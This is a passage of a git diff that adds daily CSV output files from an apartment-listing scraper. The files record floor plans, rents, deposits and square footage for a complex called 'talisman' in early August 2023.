sq.ft.,None,N/A +20230801,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230801,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230801,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230801,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230801,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230801,talisman,C2 (2x2),2 Bed 2 Bath,"$3,459",$300,1088 - 1243 sq.ft.,None,N/A +20230801,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230801,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230801,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230801,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230801,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230801,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230801,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230801,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230801,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230801,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230801,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230801,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230801,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230801,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230801,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230801,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230801,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230801,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230801,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230802.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230802.csv new file mode 100644 index 00000000000..a29b067e22f --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230802.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230802,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230802,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230802,talisman,A10 (1x1),1 Bed 1 Bath,"$2,143",$300,578 - 665 sq.ft.,None,N/A +20230802,talisman,A1 (1x1),1 Bed 1 Bath,"$2,163",$300,604 - 671 sq.ft.,None,N/A +20230802,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230802,talisman,A3 (1x1),1 Bed 1 Bath,"$2,243",$300,609 - 642 sq.ft.,None,N/A +20230802,talisman,A2 (1x1),1 Bed 1 Bath,"$2,263",$300,617 - 715 sq.ft.,None,N/A +20230802,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230802,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230802,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230802,talisman,B5 (1x1),1 Bed 1 Bath,"$2,367",$300,674 - 775 sq.ft.,None,N/A +20230802,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230802,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230802,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230802,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230802,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230802,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230802,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230802,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230802,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230802,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230802,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230802,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230802,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230802,talisman,C2 (2x2),2 Bed 2 Bath,"$3,459",$300,1088 - 1243 sq.ft.,None,N/A +20230802,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230802,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230802,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230802,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230802,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230802,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230802,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230802,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230802,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230802,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230802,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230802,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230802,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230802,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230802,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230802,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230802,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230802,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230802,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230803.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230803.csv new file mode 100644 index 00000000000..6a886096c74 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230803.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230803,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230803,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230803,talisman,A10 (1x1),1 Bed 1 Bath,"$2,143",$300,578 - 665 sq.ft.,None,N/A +20230803,talisman,A1 (1x1),1 Bed 1 Bath,"$2,163",$300,604 - 671 sq.ft.,None,N/A +20230803,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230803,talisman,A3 (1x1),1 Bed 1 Bath,"$2,243",$300,609 - 642 sq.ft.,None,N/A +20230803,talisman,A2 (1x1),1 Bed 1 Bath,"$2,263",$300,617 - 715 sq.ft.,None,N/A +20230803,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230803,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230803,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230803,talisman,B5 (1x1),1 Bed 1 Bath,"$2,367",$300,674 - 775 sq.ft.,None,N/A +20230803,talisman,B2 (1x1),1 Bed 1 Bath,"$2,437",$300,706 - 739 sq.ft.,None,N/A +20230803,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230803,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230803,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,799",$300,745 - 828 sq.ft.,None,N/A +20230803,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230803,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230803,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,869",$300,785 - 852 sq.ft.,None,N/A +20230803,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230803,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230803,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230803,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230803,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230803,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230803,talisman,C2 (2x2),2 Bed 2 Bath,"$3,459",$300,1088 - 1243 sq.ft.,None,N/A +20230803,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230803,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230803,talisman,C5 (2x2),2 Bed 2 Bath,"$3,244",$300,934 - 984 sq.ft.,None,N/A +20230803,talisman,C3 (2x2),2 Bed 2 Bath,"$3,364",$300,1010 - 1103 sq.ft.,None,N/A +20230803,talisman,C1 (2x2),2 Bed 2 Bath,"$3,629",$300,1029 - 1294 sq.ft.,None,N/A +20230803,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230803,talisman,C7 (2x2),2 Bed 2 Bath,"$3,449",$300,1074 - 1131 sq.ft.,None,N/A +20230803,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,429",$300,1140 - 1185 sq.ft.,None,N/A +20230803,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230803,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230803,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230803,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230803,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230803,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230803,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230803,talisman,D1 (3x2),3 Bed 2 Bath,"$3,764",$300,1241 - 1362 sq.ft.,None,N/A +20230803,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230803,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230803,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230804.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230804.csv new file mode 100644 index 00000000000..e03866acd2c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230804.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230804,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230804,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230804,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230804,talisman,A1 (1x1),1 Bed 1 Bath,"$2,259",$300,604 - 671 sq.ft.,None,N/A +20230804,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230804,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230804,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230804,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230804,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230804,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230804,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230804,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230804,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230804,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230804,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230804,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230804,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230804,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230804,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230804,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230804,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230804,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230804,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230804,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230804,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230804,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230804,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230804,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230804,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230804,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230804,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230804,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230804,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230804,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230804,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230804,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230804,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230804,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230804,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230804,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230804,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230804,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230804,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230804,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230805.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230805.csv new file mode 100644 index 00000000000..47278cd166d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230805.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230805,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230805,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230805,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230805,talisman,A1 (1x1),1 Bed 1 Bath,"$2,259",$300,604 - 671 sq.ft.,None,N/A +20230805,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230805,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230805,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230805,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230805,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230805,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230805,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230805,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230805,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230805,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230805,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230805,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230805,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230805,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230805,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230805,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230805,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230805,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230805,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230805,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230805,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230805,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230805,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230805,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230805,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230805,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230805,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230805,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230805,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230805,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230805,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230805,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230805,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230805,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230805,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230805,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230805,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230805,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230805,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230805,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230806.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230806.csv new file mode 100644 index 00000000000..97b9061a621 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230806.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230806,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230806,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230806,talisman,A10 (1x1),1 Bed 1 Bath,"$2,239",$300,578 - 665 sq.ft.,None,N/A +20230806,talisman,A1 (1x1),1 Bed 1 Bath,"$2,259",$300,604 - 671 sq.ft.,None,N/A +20230806,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230806,talisman,A3 (1x1),1 Bed 1 Bath,"$2,339",$300,609 - 642 sq.ft.,None,N/A +20230806,talisman,A2 (1x1),1 Bed 1 Bath,"$2,359",$300,617 - 715 sq.ft.,None,N/A +20230806,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230806,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230806,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230806,talisman,B5 (1x1),1 Bed 1 Bath,"$2,245",$300,674 - 775 sq.ft.,None,N/A +20230806,talisman,B2 (1x1),1 Bed 1 Bath,"$2,315",$300,706 - 739 sq.ft.,None,N/A +20230806,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230806,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230806,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,648",$300,745 - 828 sq.ft.,None,N/A +20230806,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230806,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230806,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,718",$300,785 - 852 sq.ft.,None,N/A +20230806,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230806,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230806,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230806,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230806,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230806,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230806,talisman,C2 (2x2),2 Bed 2 Bath,"$3,286",$300,1088 - 1243 sq.ft.,None,N/A +20230806,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230806,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230806,talisman,C5 (2x2),2 Bed 2 Bath,"$3,071",$300,934 - 984 sq.ft.,None,N/A +20230806,talisman,C3 (2x2),2 Bed 2 Bath,"$3,191",$300,1010 - 1103 sq.ft.,None,N/A +20230806,talisman,C1 (2x2),2 Bed 2 Bath,"$3,456",$300,1029 - 1294 sq.ft.,None,N/A +20230806,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230806,talisman,C7 (2x2),2 Bed 2 Bath,"$3,276",$300,1074 - 1131 sq.ft.,None,N/A +20230806,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,278",$300,1140 - 1185 sq.ft.,None,N/A +20230806,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230806,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230806,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230806,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230806,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230806,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230806,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230806,talisman,D1 (3x2),3 Bed 2 Bath,"$3,591",$300,1241 - 1362 sq.ft.,None,N/A +20230806,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230806,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230806,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230807.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230807.csv new file mode 100644 index 00000000000..86717796dd2 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230807.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230807,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230807,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 